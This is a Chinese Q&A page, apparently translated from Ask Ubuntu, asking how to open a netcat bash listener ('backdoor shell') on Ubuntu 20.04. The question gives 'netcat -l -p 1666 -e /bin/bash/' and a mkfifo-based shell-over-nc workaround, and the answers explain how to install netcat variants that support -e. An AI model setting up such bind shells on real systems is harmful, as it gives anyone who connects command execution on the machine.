如何在 Ubuntu 中使用 netcat 创建 bash 监听器?

如何在 Ubuntu 中使用 netcat 创建 bash 监听器?

在许多基本的安全教程和材料我看到 netcat 用于打开侦听器/后门 shell。例如在端口 666 上:

netcat -l -p 1666 -e /bin/bash/

如何在 Ubuntu 中执行此操作?当我尝试时,出现错误nc: invalid option -- 'e'。运行man ncman netcat 确认 -e 选项不可用,但有一个相当复杂的解决方法。

     There is no -c or -e option in this netcat, but you still can execute a command after connection being established by redirect‐
 ing file descriptors. Be cautious here because opening a port and let anyone connected execute arbitrary command on your site
 is DANGEROUS. If you really need to do this, here is an example:

 On ‘server’ side:

       $ rm -f /tmp/f; mkfifo /tmp/f
       $ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f

 On ‘client’ side:

       $ nc host.example.com 1234
       $ (shell prompt from host.example.com)

基于相关问题的答案我想我可能需要调用 GNU 版本的 netcat,但我不确定如何操作。我安装了软件包netcat-traditional,但nc仍然netcat调用 BSD 版本,我尝试过的变体netcat-traditional似乎不是有效的命令。如果这很重要的话,我在使用 Ubuntu 20.04.2 LTS。

因此,虽然我有一个解决方法,但我认为我真正想知道的是在 Ubuntu 中运行传统 netcat 的最简单方法。

答案1

端口 1-1023 是“特权”端口,因为它们只能由root( UID=0) 进程使用。您的示例可能假设root

尝试一下-p 1666。或者sudo,如果您想导出rootshell...

答案2

Ubuntu 提供了三种 netcat 替代方案。运行/usr/lib/command-not-found --ignore-instaled nc以显示其软件包。(/usr/lib/command-not-found来自command-not-found软件包,在桌面安装时应默认安装。):

Command 'nc' not found, but can be installed with:
sudo apt install netcat-openbsd      # version 1.218-4ubuntu1, or
sudo apt install netcat-traditional  # version 1.10-47
sudo apt install ncat                # version 7.91+dfsg1+really7.80+dfsg1-2ubuntu0.1

安装您想要的版本(传统版本和 ncat 都有该-e选项,我猜 openbsd 删除了它,因为它是一个很大的安全隐患),然后运行update-alternatives --config nc以设置默认版本。

答案3

Ubuntu 提供了三种 netcat 替代方案。运行/usr/lib/command-not-found --ignore-instaled nc以显示其软件包。(/usr/lib/command-not-found来自command-not-found软件包,在桌面安装时应默认安装。):

Command 'nc' not found, but can be installed with:
sudo apt install netcat-openbsd      # version 1.218-4ubuntu1, or
sudo apt install netcat-traditional  # version 1.10-47
sudo apt install ncat                # version 7.91+dfsg1+really7.80+dfsg1-2ubuntu0.1

安装您想要的版本(传统版本和 ncat 都有该-e选项,显然 openbsd 将其删除了,因为它是一个很大的安全隐患),然后运行update-alternatives --config nc以设置默认版本。

相关内容